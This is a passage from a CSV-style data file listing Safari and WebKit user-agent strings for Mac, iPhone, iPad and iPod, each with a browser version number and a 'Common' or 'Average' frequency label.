(Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3\",8,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17\",6,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B93 Safari/604.1\",11,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.16 (KHTML, like Gecko) Version/8.0 Safari/537.16\",8,Common\n\"Mozilla/5.0 (iPad; CPU OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53\",7,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1.1 Safari/537.86.6\",9.1,Common\n\"Mozilla/5.0 (iPad; CPU OS 11_0_3 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A432 Safari/604.1\",11,Common\n\"Mozilla/5.0 (iPad; CPU OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D100 Safari/604.1\",11,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/537.86.3\",9,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/537.86.2\",9,Common\n\"Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53\",7,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 Mobile/15C114 Safari/604.1\",11,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.3.18 (KHTML, like Gecko) Version/8.0.3 Safari/600.3.18\",8,Common\n\"Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10\",4,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10\",6,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B329 Safari/8536.25\",6,Common\n\"Mozilla/5.0 (iPad; CPU OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4\",8,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2\",7,Common\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16\",4,Common\n\"Mozilla/5.0 (iPad; CPU OS 11_2_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 Mobile/15C202 Safari/604.1\",11,Common\n\"Mozilla/5.0 (iPad; CPU OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1\",11,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7\",9.1,Common\n\"Mozilla/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25\",6,Common\n\"Mozilla/5.0 (iPad; CPU OS 11_1_2 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B202 Safari/604.1\",11,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1\",11,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\",5.1,Common\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Common\n\"Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53\",7,Common\n\"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25\",6,Common\n\"Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B410 Safari/600.1.4\",8,Common\n\"Mozilla/5.0 (iPad; CPU OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B440 Safari/600.1.4\",8,Common\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B410 Safari/600.1.4 (Applebot/0.1; +http://www.apple.com/go/applebot)\",8,Common\n\"Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1\",11,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A4449d Safari/9537.53\",7,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A344 Safari/601.1\",9,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B440 Safari/600.1.4\",8,Common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\",5.1,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53\",7,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1\",9,Common\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\",5,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5\",8,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile/12A4345d Safari/600.1.4\",8,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_0_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A404 Safari/601.1\",9,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1 Safari/605.1.15\",11.1,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3\",5.1,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4\",8,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25\",8,Average\n\"Mozilla/5.0 (iPad; CPU OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A344 Safari/601.1\",9,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/537.86.1\",9,Average\n\"Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E233 Safari/601.1\",9,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.29.13 (KHTML, like Gecko) Version/6.0.4 Safari/536.29.13\",6,Average\n\"Mozilla/5.0 (iPad; CPU OS 9_0_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A404 Safari/601.1\",9,Average\n\"Mozilla/5.0 (iPad; CPU OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12D508 Safari/600.1.4\",8,Average\n\"Mozilla/5.0 (iPad; CPU OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A403 Safari/602.1\",10,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9\",9,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12D508 Safari/600.1.4\",8,Average\n\"Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X; en-us) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3\",5.1,Average\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7\",4,Average\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17\",4,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.58.2 (KHTML, like Gecko) Version/5.1.8 Safari/534.58.2\",5.1,Average\n\"Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10\",4,Average\n\"Mozilla/5.0 (iPad; CPU OS 6_1_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B146 Safari/8536.25\",6,Average\n\"Mozilla/5.0 (iPad; CPU OS 11_0_1 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A402 Safari/604.1\",11,Average\n\"Mozilla/5.0 (iPad; CPU OS 11_0_2 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A421 Safari/604.1\",11,Average\n\"Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3\",5.1,Average\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53\",7,Average\n\"Mozilla/5.0 (iPad; CPU OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53\",7,Average\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\",5,Average\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7) AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3\",5.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B72 Safari/602.1\",10,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.4.10 (KHTML, like Gecko) Version/8.0.4 Safari/600.4.10\",8,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/7.1.7 Safari/537.85.16\",7.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.38 (KHTML, like Gecko) Version/10.0 Mobile/14A5297c Safari/602.1\",10,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3\",5.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B146 Safari/8536.25\",6,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.8 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.8\",5.1,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7\",5.1,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/534.57.7 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.7\",5.1,Average\n\"Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B141 Safari/8536.25\",6,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3\",5.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25\",6,Average\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G36 Safari/601.1\",9,Average\n\"Mozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/534.50.2 (KHTML, like Gecko) Version/5.0.6 Safari/533.22.3\",5,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10\",6,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.53.11 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10\",5.1,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.29.13 (KHTML, like Gecko) Version/6.0.4 Safari/536.29.13\",6,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1 Safari/605.1.15\",11.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B150 Safari/602.1\",10,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.1.46 (KHTML, like Gecko) Safari/601.1.46\",,Average\n\"Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3\",5.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4\",8,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/7.1.6 Safari/537.85.15\",7.1,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/10.0 Safari/602.1.31\",10,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\",5.1,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22\",5.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53\",7,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25\",6,Average\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\",4,Average\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\",5,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4\",7,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/6.2.6 Safari/537.85.15\",6.2,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A405 Safari/600.1.4\",8,Average\n\"Mozilla/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A405 Safari/600.1.4\",8,Average\n\"Mozilla/5.0 (iPad; CPU OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B435 Safari/600.1.4\",8,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/536.30.1 (KHTML, like Gecko) Version/6.0.5 Safari/536.30.1\",6,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\",5.1,Average\n\"Mozilla/5.0 (iPad; CPU OS 11_1_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B150 Safari/604.1\",11,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8) AppleWebKit/536.25 (KHTML, like Gecko) Version/6.0 Safari/536.25\",6,Average\n\"Mozilla/5.0 (iPad; CPU OS 11_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B93 Safari/604.1\",11,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53\",7,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\",5.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X; en-us) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53\",7,Average\n\"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Average\n\"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\",6,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/603.1.13 (KHTML, like Gecko) Version/10.1 Safari/603.1.13\",10.1,Average\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_2 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5\",5,Average\n\"Mozilla/5.0 (iPad; CPU OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3\",5.1,Average\n\"Mozilla/5.0 (iPad; CPU OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1\",11,Average\n\"Mozilla/5.0 (iPad; CPU OS 11_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 Mobile/15C114 Safari/604.1\",11,Average\n\"Mozilla/5.0 (iPad; CPU OS 7_0_3 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B511 Safari/9537.53\",7,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B72c Safari/602.1\",10,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14\",7,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E277 Safari/602.1\",10,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.1.17 (KHTML, like Gecko) Version/7.1 Safari/537.85.10\",7.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_0_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A405 Safari/601.1\",9,Average\n\"Mozilla/5.0 (iPad; CPU OS 7_0_6 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B651 Safari/9537.53\",7,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10\",5.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3\",5.1,Average\n\"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\",4,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2\",7,Average\n\"Mozilla/5.0 (Macintosh; PPC Mac OS X) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.8 Safari/534.34\",,Average\n\"Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:10\",4,Average\n\"Mozilla/5.0 (iPod; CPU iPhone OS 6_1_6 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B500 Safari/8536.25\",6,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E198 Safari/601.1\",9,Average\n\"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Average\n\"Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F90 Safari/602.1\",10,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13D20 Safari/601.1\",9,Average\n\"Mozilla/5.0 (iPad; CPU OS 7_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A406 Safari/8536.25\",6,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A551 Safari/602.1\",10,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/6.2.7 Safari/537.85.16\",6.2,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22\",5.1,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/536.26.14 (KHTML, like Gecko) Version/6.0.1 Safari/536.26.14\",6,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.4.8 (KHTML, like Gecko) Version/8.0.3 Safari/600.4.8\",8,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko)                 Version/6.0 Mobile/10A5376e Safari/8536.25 (compatible; SMTBot/1.0; +http://www.similartech.com/smtbot)\",6,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A365 Safari/600.1.4\",8,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.4 (KHTML, like Gecko) Version/10.0 Mobile/14G5047a Safari/602.1\",10,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3\",5.1,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A346 Safari/602.1\",10,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_4 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B350 Safari/8536.25\",6,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5\",8,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.40 (KHTML, like Gecko) Version/10.0 Mobile/14A5309d Safari/602.1\",10,Average\nMozilla/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML like Gecko) Mobile/12A405 Version/7.0 Safari/9537.53,7,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Version/8.0 Safari/537.36\",8,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.56.5 (KHTML, like Gecko) Version/5.1.6 Safari/534.56.5\",5.1,Average\n\"Mozilla/5.0 (iPad; CPU OS 10_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B72 Safari/602.1\",10,Average\n\"Mozilla/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B137 Safari/601.1\",9,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E5200d Safari/601.1\",9,Average\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like 